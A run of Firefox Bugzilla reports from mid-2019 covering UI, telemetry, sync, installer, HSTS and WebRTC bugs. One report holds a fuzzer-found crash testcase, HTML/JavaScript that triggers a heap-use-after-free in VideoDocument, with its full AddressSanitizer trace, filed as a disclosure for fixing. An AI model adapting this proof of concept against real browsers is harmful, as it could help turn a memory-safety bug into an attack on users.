Its text is immediately replaced with a new recommendation, but the thumbnail sticks around for some time (until the new thumbnail is available). This can look pretty bizarre if the new text and old thumbnail are unrelated.
EXPECTED RESULTS:
The old thumbnail should disappear immediately when the text changes (e.g. it could be replaced by a blank gray area and then the new thumbnail).
I'm using Nightly 69.0a1 (2019-07-01) (64-bit) on Linux.
See attached screencast, which I captured while tethered with my cell phone in an area with very slow reception.
|
|
1,562,947 | 14,211,116 |
Oh, JavaScript.
aboutTelemetry.js was [accidentally](https://bugzilla.mozilla.org/show_bug.cgi?id=1523741) switched back to use `DATASET_RELEASE_CHANNEL_OPTIN` when getting event snapshots. This is undefined, which is coerced to 0, which is taken to mean `DATASET_ALL_CHANNELS`.
We need to put this back to `DATASET_PRERELEASE_CHANNELS` to get _all_ of the events.
|
|
1,563,027 | 14,211,640 |
P3 because when we have bug 1562885, this is WONTFIX. Still, should be at least tracked.
|
|
1,563,538 | 14,215,079 |
Extracted from https://bugzilla.mozilla.org/show_bug.cgi?id=1562887#c1. This is pretty much visible as a huge delay when connecting h1 secure servers and the connection can idle for a long time with the time out driven by the server (10, 15, 60 seconds...)
|
|
1,563,552 | 14,215,197 |
### [Preconditions:]
1. To activate the Form Autofill feature on a Beta build, go to about:config, search for the "extensions.formautofill.available" pref and modify it from "detect" to "on".
2. Go to browser Options, Privacy and Security section, Forms & Autofill section, click the "Saved Addresses..." button and add 1 or 2 address forms.
### [Steps:]
1. Open 2FF profiles or two firefoxes on different machines (FF1 and FF2) and set up the same sync account on both of them.
2. From FF1 un-check the "Addresses" from about:preferences#sync
3. In FF1 Open the about:preferences#privacy and save a complete profile, afterward press Sync now from hamburger menu(top option).
4. In FF2 click on sync button and then check about:preferences#privacy / saved profiles.
5. In FF2 go to about:preferences#sync.
### [Actual Result:]
You don't see the profile created at step 4 in FF1 but The "Addresses" is checked.
### [Expected Result:]
The "Addresses" should be un-checked.
|
|
1,563,565 | 14,215,323 |
[Environment:]
69.0a1 Nightly Win10/aarch64
[Steps:]
Download and run the Installer from https://archive.mozilla.org/pub/firefox/nightly/latest-mozilla-central/
[Actual Result:]
The installer gets stuck at ~60%, Nightly is not installed
[Expected Result:]
FF Nightly should be successfully installed
[Note]
Tested on Lenovo Yoga
|
|
1,563,695 | 14,216,320 |
This is a regression from bug 1484947.
|
|
1,563,812 | 14,217,096 |
+++ This bug was initially created as a clone of Bug #1559179 +++
Bug 1559179 fixed one problem that caused the selection to jump to the one-off search buttons, but there's another problem that also causes it. We end up hitting this case here even though the selected result is not the last result: https://searchfox.org/mozilla-central/rev/9e980da78406a808663ba640773d386a2a02965a/browser/components/search/content/search-one-offs.js#977
The problem bug 1559179 fixed was that numListItems was smaller than it should have been. The problem now is that this.selectedAutocompleteIndex is larger than it should be. this.selectedAutocompleteIndex is just a getter that returns view.selectedIndex, and view.selectedIndex is the selected result's uiIndex -- so uiIndex is not being properly updated to account for stale/fresh results.
I can't reproduce this normally, but I noticed that in the gif that Dustin attached to bug 1559179, there seems to be much more latency fetching history results than I'm seeing. So I added an `await new Promise(r => setTimeout(r, 500))` to UnifiedComplete here: https://searchfox.org/mozilla-central/rev/9e980da78406a808663ba640773d386a2a02965a/toolkit/components/places/UnifiedComplete.jsm#1032
And now I can reproduce it often, but still not always.
|
|
1,563,854 | 14,217,380 |
Created attachment 9076316
aboutsupport.txt
Fresh Profile, only WebRender was manually enabled and works.
> Refused to create native OpenGL context because of blacklist entry: [FEATURE_FAILURE_OLD_NVIDIA](https://searchfox.org/mozilla-central/rev/9e980da78406a808663ba640773d386a2a02965a/widget/GfxInfoX11.cpp#330)
https://webglsamples.org/aquarium/aquarium.html
> It does not appear your computer supports WebGL.
In contrast, [Mesa 18](https://searchfox.org/mozilla-central/rev/9e980da78406a808663ba640773d386a2a02965a/widget/GfxInfoX11.cpp#351) (=Ubuntu 18.04 LTS) is required for Qualified WebRender with Intel/AMD, maybe that would be a good limit for WebGL on Mesa/Nouveau as well instead of blocking it completely?
|
|
1,563,994 | 14,218,182 |
Created attachment 9076416
Screen Shot 2019-07-07 at 12.01.50 AM.png
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:67.0) Gecko/20100101 Firefox/67.0
Steps to reproduce:
1. Copied text from a page in Firefox
2. Pasted text into conversation in Messages app.
Actual results:
Got prompted to give Firefox "Keystroke Recording" for all applications access.
Expected results:
Should have just copied the text, and nothing more.
|
|
1,564,078 | 14,220,212 |
The GC help threshold calculation was broken by the malloc memory tracking changes in bug 1395509 comment 33 to ignore the GC invocation kind.
|
|
1,564,080 | 14,220,230 |
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Steps to reproduce:
After the last update I opened the website:
https://xential.projecten.contezza.nl/share/page/
There is a login screen
filled in a username test and password test
click on the submit button calles "Sign In"
Actual results:
Nothing happens. No actual submit does take place.
Opening the page in web-developer mode the input button get's disabled.
So before clicking the HTML is:
<button type="button" tabindex="0" id="page_x002e_components_x002e_slingshot-login_x0023_default-submit-button">Sign In</button>
After clicking it get's changed to:
<button type="button" tabindex="0" id="page_x002e_components_x002e_slingshot-login_x0023_default-submit-button" disabled="disabled">Sign In</button>
So after the update disabled="disabled" get's added to the button
Expected results:
Submit should have worked as is and a login request should be made.
This is still the case with the default stable FF 67.0.4.
|
|
1,564,449 | 14,223,253 |
Created attachment 9076822
test-encrypted-different-av-keys.webm
The following testcase crashes the latest ASAN build of Firefox 70.0a1 (BuildID=20190709034824). It requires a fuzzing build (--enable-fuzzing) and the pref `user_pref("fuzzing.enabled",true)`. I am using a Python2 webserver (`python -m SimpleHTTPServer`) to host the testcase. It requires the attached webm file in the same directory. It works most reliable when loaded in many tabs at the same time.
crash.html:
```
<script>
var fun1_called=0,fun2_called=0;
function spin() {
var x=new XMLHttpRequest();
x.open("POST","/post",false);
x.send("X");
}
function start() {
o10=new AudioContext();
o15=window.open('test-encrypted-different-av-keys.webm','popup34'+Math.random(),'height=54,width=-5,centerscreen,outerWidth=12,status,scrollbars');
o19=window.document;
window.top.setTimeout(fun0, 4);
}
function fun0() {
o15.addEventListener('DOMSubtreeModified',fun1);
}
function fun1() {
if(window.top.fun1_called++)return;
spin();
o15.fun2=fun2;o15.eval("location.href='javascript:fun2(this,document,window)'");
spin();
o123=o19.createElement('frameset');
try{o98.body=o123;}catch(e){}
spin();
}
function fun2(othis, doc, t, count) {
if(window.top.fun2_called++)return;
window.top.o98=doc;
FuzzingFunctions.garbageCollect();FuzzingFunctions.cycleCollect();FuzzingFunctions.garbageCollect();FuzzingFunctions.cycleCollect();
}
</script>
<body onload="start()"></body>
```
ASAN output:
```
=================================================================
==12771==ERROR: AddressSanitizer: heap-use-after-free on address 0x60d00009e8e0 at pc 0x7f7ffe67f8e7 bp 0x7ffd585903b0 sp 0x7ffd585903a8
READ of size 8 at 0x60d00009e8e0 thread T0 (Web Content)
#0 0x7f7ffe67f8e6 in AppendChildTo /builds/worker/workspace/build/src/dom/base/nsINode.h:769:12
#1 0x7f7ffe67f8e6 in mozilla::dom::VideoDocument::CreateVideoElement() /builds/worker/workspace/build/src/dom/html/VideoDocument.cpp:135
#2 0x7f7ffe67ef69 in mozilla::dom::VideoDocument::StartLayout() /builds/worker/workspace/build/src/dom/html/VideoDocument.cpp:73:17
#3 0x7f7ffe64f46d in mozilla::dom::MediaDocumentStreamListener::OnStartRequest(nsIRequest*) /builds/worker/workspace/build/src/dom/html/MediaDocument.cpp:55:14
#4 0x7f7ff8ab986c in nsDocumentOpenInfo::OnStartRequest(nsIRequest*) /builds/worker/workspace/build/src/uriloader/base/nsURILoader.cpp:311:34
#5 0x7f7ff6bbf891 in mozilla::net::HttpChannelChild::DoOnStartRequest(nsIRequest*, nsISupports*) /builds/worker/workspace/build/src/netwerk/protocol/http/HttpChannelChild.cpp:683:20
#6 0x7f7ff6bcc6fd in mozilla::net::HttpChannelChild::OnStartRequest(nsresult const&, mozilla::net::nsHttpResponseHead const&, bool const&, mozilla::net::nsHttpHeaderArray const&, mozilla::net::ParentLoadInfoForwarderArgs const&, bool const&, bool const&, bool const&, unsigned long const&, int const&, unsigned int const&, nsTString<char> const&, nsTString<char> const&, mozilla::net::NetAddr const&, mozilla::net::NetAddr const&, unsigned int const&, nsTString<char> const&, long const&, bool const&, bool const&, bool const&, mozilla::net::ResourceTimingStruct const&, bool const&) /builds/worker/workspace/build/src/netwerk/protocol/http/HttpChannelChild.cpp:608:3
#7 0x7f7ff6c97469 in mozilla::net::StartRequestEvent::Run() /builds/worker/workspace/build/src/netwerk/protocol/http/HttpChannelChild.cpp:427:13
#8 0x7f7ff6a3e886 in mozilla::net::ChannelEventQueue::RunOrEnqueue(mozilla::net::ChannelEvent*, bool) /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/net/ChannelEventQueue.h:210:10
#9 0x7f7ff6bca7c3 in mozilla::net::HttpChannelChild::RecvOnStartRequest(nsresult const&, mozilla::net::nsHttpResponseHead const&, bool const&, mozilla::net::nsHttpHeaderArray const&, mozilla::net::ParentLoadInfoForwarderArgs const&, bool const&, bool const&, bool const&, unsigned long const&, int const&, unsigned int const&, nsTString<char> const&, nsTString<char> const&, mozilla::net::NetAddr const&, mozilla::net::NetAddr const&, short const&, unsigned int const&, nsTString<char> const&, long const&, bool const&, bool const&, bool const&, mozilla::net::ResourceTimingStruct const&, bool const&) /builds/worker/workspace/build/src/netwerk/protocol/http/HttpChannelChild.cpp:489:12
#10 0x7f7ff7904ebf in mozilla::net::PHttpChannelChild::OnMessageReceived(IPC::Message const&) /builds/worker/workspace/build/src/obj-firefox/ipc/ipdl/PHttpChannelChild.cpp:859:28
#11 0x7f7ff75dac19 in mozilla::dom::PContentChild::OnMessageReceived(IPC::Message const&) /builds/worker/workspace/build/src/obj-firefox/ipc/ipdl/PContentChild.cpp:7197:32
#12 0x7f7ff72b3236 in mozilla::ipc::MessageChannel::DispatchAsyncMessage(mozilla::ipc::ActorLifecycleProxy*, IPC::Message const&) /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2158:25
#13 0x7f7ff72ae13b in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2082:9
#14 0x7f7ff72b06f7 in mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&) /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1939:3
#15 0x7f7ff72b1487 in mozilla::ipc::MessageChannel::MessageTask::Run() /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1970:13
#16 0x7f7ff5e698b5 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:295:32
#17 0x7f7ff5eaa7fc in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1225:14
#18 0x7f7ff5eb2684 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10
#19 0x7f7ff72bc5f4 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:110:5
#20 0x7f7ff7193afe in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
#21 0x7f7ff7193afe in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
#22 0x7f7ff7193afe in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
#23 0x7f80008e24a3 in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:137:27
#24 0x7f8004f5f10e in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:919:20
#25 0x7f7ff7193afe in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
#26 0x7f7ff7193afe in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
#27 0x7f7ff7193afe in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
#28 0x7f8004f5dc51 in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:754:34
#29 0x55bf9ba64113 in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:56:28
#30 0x55bf9ba64113 in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:267
#31 0x7f801af30b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#32 0x55bf9b98564c in _start (/home/nils/browser/firefox/firefox/firefox+0x4564c)
0x60d00009e8e0 is located 0 bytes inside of 136-byte region [0x60d00009e8e0,0x60d00009e968)
freed by thread T0 (Web Content) here:
#0 0x55bf9ba30ce2 in __interceptor_free /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:124:3
#1 0x7f7ff5c97378 in MaybeKillObject /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2429:29
#2 0x7f7ff5c97378 in SnowWhiteKiller::Visit(nsPurpleBuffer&, nsPurpleBufferEntry*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2459
#3 0x7f7ff5c6afb3 in void nsPurpleBuffer::VisitEntries<SnowWhiteKiller>(SnowWhiteKiller&) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:956:27
#4 0x7f7ff5c6c6d8 in nsCycleCollector::FreeSnowWhiteWithBudget(js::SliceBudget&) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2624:14
#5 0x7f7ff83f525c in AsyncFreeSnowWhite::Run() /builds/worker/workspace/build/src/js/xpconnect/src/XPCJSRuntime.cpp:146:9
#6 0x7f7ff5ecdf62 in IdleRunnableWrapper::Run() /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:331:22
#7 0x7f7ff5eaa7fc in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1225:14
#8 0x7f7ff5eb2684 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10
#9 0x7f80003af2e3 in SpinEventLoopUntil<mozilla::ProcessFailureBehavior::ReportToCaller, (lambda at /builds/worker/workspace/build/src/dom/xhr/XMLHttpRequestMainThread.cpp:2909:31)> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:348:25
#10 0x7f80003af2e3 in mozilla::dom::XMLHttpRequestMainThread::SendInternal(mozilla::dom::BodyExtractorBase const*, bool) /builds/worker/workspace/build/src/dom/xhr/XMLHttpRequestMainThread.cpp:2909
#11 0x7f80003acf5a in mozilla::dom::XMLHttpRequestMainThread::Send(JSContext*, mozilla::dom::Nullable<mozilla::dom::DocumentOrBlobOrArrayBufferViewOrArrayBufferOrFormDataOrURLSearchParamsOrUSVString> const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/xhr/XMLHttpRequestMainThread.cpp:2727:11
#12 0x7f7ffcac17cd in mozilla::dom::XMLHttpRequest_Binding::send(JSContext*, JS::Handle<JSObject*>, mozilla::dom::XMLHttpRequest*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/XMLHttpRequestBinding.cpp:1346:24
#13 0x7f7ffd8fc222 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3181:13
#14 0x7f800523e8a7 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:448:13
#15 0x7f800523e8a7 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:540
#16 0x7f800521ee80 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:599:10
#17 0x7f800521ee80 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3088
#18 0x7f80052085e8 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:425:10
#19 0x7f800523f3af in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:568:13
#20 0x7f80052415d2 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:611:8
#21 0x7f8005faa7cf in js::ForwardingProxyHandler::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /builds/worker/workspace/build/src/js/src/proxy/Wrapper.cpp:162:10
#22 0x7f8005f66d11 in js::CrossCompartmentWrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /builds/worker/workspace/build/src/js/src/proxy/CrossCompartmentWrapper.cpp:237:19
#23 0x7f8005f89c8d in js::Proxy::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) /builds/worker/workspace/build/src/js/src/proxy/Proxy.cpp:504:19
#24 0x7f800523fa75 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:514:14
#25 0x7f80052415d2 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:611:8
#26 0x7f8005ed3cc8 in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2658:10
#27 0x7f7ffced92fe in mozilla::dom::EventListener::HandleEvent(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventListenerBinding.cpp:52:8
#28 0x7f7ffe197924 in HandleEvent<mozilla::dom::EventTarget *> /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventListenerBinding.h:66:12
#29 0x7f7ffe197924 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1024
#30 0x7f7ffe199847 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*, bool) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1222:17
#31 0x7f7ffe17a161 in HandleEvent /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/EventListenerManager.h:353:5
#32 0x7f7ffe17a161 in mozilla::EventTargetChainItem::HandleEvent(mozilla::EventChainPostVisitor&, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:349
#33 0x7f7ffe178875 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:587:14
#34 0x7f7ffe17f104 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:1047:11
#35 0x7f7ffe186e4b in mozilla::EventDispatcher::DispatchDOMEvent(nsISupports*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsPresContext*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp
previously allocated by thread T0 (Web Content) here:
#0 0x55bf9ba31063 in __interceptor_malloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:146:3
#1 0x55bf9ba65dcd in moz_xmalloc /builds/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:52:15
#2 0x7f7ffe42be4b in operator new /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/cxxalloc.h:33:10
#3 0x7f7ffe42be4b in NS_NewHTMLBodyElement(already_AddRefed<mozilla::dom::NodeInfo>&&, mozilla::dom::FromParser) /builds/worker/workspace/build/src/dom/html/HTMLBodyElement.cpp:24
#4 0x7f7ffe660643 in mozilla::dom::MediaDocument::CreateSyntheticDocument() /builds/worker/workspace/build/src/dom/html/MediaDocument.cpp:235:39
#5 0x7f7ffe67fa3a in mozilla::dom::VideoDocument::SetScriptGlobalObject(nsIScriptGlobalObject*) /builds/worker/workspace/build/src/dom/html/VideoDocument.cpp:89:30
#6 0x7f7ffa148eac in nsGlobalWindowOuter::SetNewDocument(mozilla::dom::Document*, nsISupports*, bool) /builds/worker/workspace/build/src/dom/base/nsGlobalWindowOuter.cpp:2169:14
#7 0x7f8001190c8a in nsDocumentViewer::InitInternal(nsIWidget*, nsISupports*, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&, bool, bool, bool) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:967:22
#8 0x7f800118fc0c in nsDocumentViewer::Init(nsIWidget*, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:718:10
#9 0x7f8004044f60 in nsDocShell::SetupNewViewer(nsIContentViewer*) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:8551:7
#10 0x7f8004043b51 in nsDocShell::Embed(nsIContentViewer*, char const*, nsISupports*) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:6387:17
#11 0x7f8003fcb7c4 in nsDocShell::CreateContentViewer(nsTSubstring<char> const&, nsIRequest*, nsIStreamListener**) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:8354:3
#12 0x7f8003fc84aa in nsDSURIContentListener::DoContent(nsTSubstring<char> const&, bool, nsIRequest*, nsIStreamListener**, bool*) /builds/worker/workspace/build/src/docshell/base/nsDSURIContentListener.cpp:183:20
#13 0x7f7ff8abe983 in nsDocumentOpenInfo::TryContentListener(nsIURIContentListener*, nsIChannel*) /builds/worker/workspace/build/src/uriloader/base/nsURILoader.cpp:748:18
#14 0x7f7ff8abafb4 in nsDocumentOpenInfo::DispatchContent(nsIRequest*, nsISupports*) /builds/worker/workspace/build/src/uriloader/base/nsURILoader.cpp:420:30
#15 0x7f7ff8ab9666 in nsDocumentOpenInfo::OnStartRequest(nsIRequest*) /builds/worker/workspace/build/src/uriloader/base/nsURILoader.cpp:299:8
#16 0x7f7ff6bbf891 in mozilla::net::HttpChannelChild::DoOnStartRequest(nsIRequest*, nsISupports*) /builds/worker/workspace/build/src/netwerk/protocol/http/HttpChannelChild.cpp:683:20
#17 0x7f7ff6bcc6fd in mozilla::net::HttpChannelChild::OnStartRequest(nsresult const&, mozilla::net::nsHttpResponseHead const&, bool const&, mozilla::net::nsHttpHeaderArray const&, mozilla::net::ParentLoadInfoForwarderArgs const&, bool const&, bool const&, bool const&, unsigned long const&, int const&, unsigned int const&, nsTString<char> const&, nsTString<char> const&, mozilla::net::NetAddr const&, mozilla::net::NetAddr const&, unsigned int const&, nsTString<char> const&, long const&, bool const&, bool const&, bool const&, mozilla::net::ResourceTimingStruct const&, bool const&) /builds/worker/workspace/build/src/netwerk/protocol/http/HttpChannelChild.cpp:608:3
#18 0x7f7ff6c97469 in mozilla::net::StartRequestEvent::Run() /builds/worker/workspace/build/src/netwerk/protocol/http/HttpChannelChild.cpp:427:13
#19 0x7f7ff6a3e886 in mozilla::net::ChannelEventQueue::RunOrEnqueue(mozilla::net::ChannelEvent*, bool) /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/net/ChannelEventQueue.h:210:10
#20 0x7f7ff6bca7c3 in mozilla::net::HttpChannelChild::RecvOnStartRequest(nsresult const&, mozilla::net::nsHttpResponseHead const&, bool const&, mozilla::net::nsHttpHeaderArray const&, mozilla::net::ParentLoadInfoForwarderArgs const&, bool const&, bool const&, bool const&, unsigned long const&, int const&, unsigned int const&, nsTString<char> const&, nsTString<char> const&, mozilla::net::NetAddr const&, mozilla::net::NetAddr const&, short const&, unsigned int const&, nsTString<char> const&, long const&, bool const&, bool const&, bool const&, mozilla::net::ResourceTimingStruct const&, bool const&) /builds/worker/workspace/build/src/netwerk/protocol/http/HttpChannelChild.cpp:489:12
#21 0x7f7ff7904ebf in mozilla::net::PHttpChannelChild::OnMessageReceived(IPC::Message const&) /builds/worker/workspace/build/src/obj-firefox/ipc/ipdl/PHttpChannelChild.cpp:859:28
#22 0x7f7ff75dac19 in mozilla::dom::PContentChild::OnMessageReceived(IPC::Message const&) /builds/worker/workspace/build/src/obj-firefox/ipc/ipdl/PContentChild.cpp:7197:32
#23 0x7f7ff72b3236 in mozilla::ipc::MessageChannel::DispatchAsyncMessage(mozilla::ipc::ActorLifecycleProxy*, IPC::Message const&) /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2158:25
#24 0x7f7ff72ae13b in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2082:9
#25 0x7f7ff72b06f7 in mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&) /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1939:3
#26 0x7f7ff72b1487 in mozilla::ipc::MessageChannel::MessageTask::Run() /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1970:13
#27 0x7f7ff5e698b5 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:295:32
#28 0x7f7ff5eaa7fc in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1225:14
#29 0x7f7ff5eb2684 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10
#30 0x7f7ff72bc5f4 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:110:5
SUMMARY: AddressSanitizer: heap-use-after-free /builds/worker/workspace/build/src/dom/base/nsINode.h:769:12 in AppendChildTo
Shadow bytes around the buggy address:
0x0c1a8000bcc0: fd fd fd fd fd fd fa fa fa fa fa fa fa fa 00 00
0x0c1a8000bcd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa
0x0c1a8000bce0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c1a8000bcf0: 00 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa
0x0c1a8000bd00: fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c1a8000bd10: 00 00 00 fa fa fa fa fa fa fa fa fa[fd]fd fd fd
0x0c1a8000bd20: fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa
0x0c1a8000bd30: fa fa fa fa fa fa fd fd fd fd fd fd fd fd fd fd
0x0c1a8000bd40: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
0x0c1a8000bd50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c1a8000bd60: fd fd fa fa fa fa fa fa fa fa fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==12771==ABORTING
```
|
|
1,564,451 | 14,223,261 |
Steps to reproduce
1. Open any video chat application on Firefox for android (say https://appear.in/trishul)
2. Connect to same chat room from other device (say FF desktop)
3. Ensure there is a proper video chat stream setup.
4. Now put FF for android in background.
5. You will find video still streaming.
6. Now lock your mobile phone
7. The video stream is still active 😲
Expected results:
The video stream(both camera and microphone) capture should stop immediately when phone is locked
Note: Chrome for Android behaves in expected way.
|
|
1,564,481 | 14,223,899 |
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Steps to reproduce:
1. Opened a HSTS website (which was not in HSTS preload list) with Firefox 67
2. Get the domain included in HSTS preload list for Firefox 68
3. Upgrading to Firefox 68
4. Remove website from history ("Forget This Site")
5. Restart browser
6. Open http:// connection to the website
Actual results:
Connection is over http (unencrypted)
SiteSecurityServiceState.txt before step 4:
henlich.de:HSTS 1 18086 1594223236082,1,1,2
SiteSecurityServiceState.txt after step 5:
henlich.de:HSTS 1 18086 0,2,0,0
Expected results:
Connection should be upgraded to https, because domain is on HSTS preload list
|
|
1,564,542 | 14,224,367 |
Tested on:
Windows 10, 64-bit
Firefox Nightly 70.0a1 (2019-07-09) (64-bit)
Steps to reproduce:
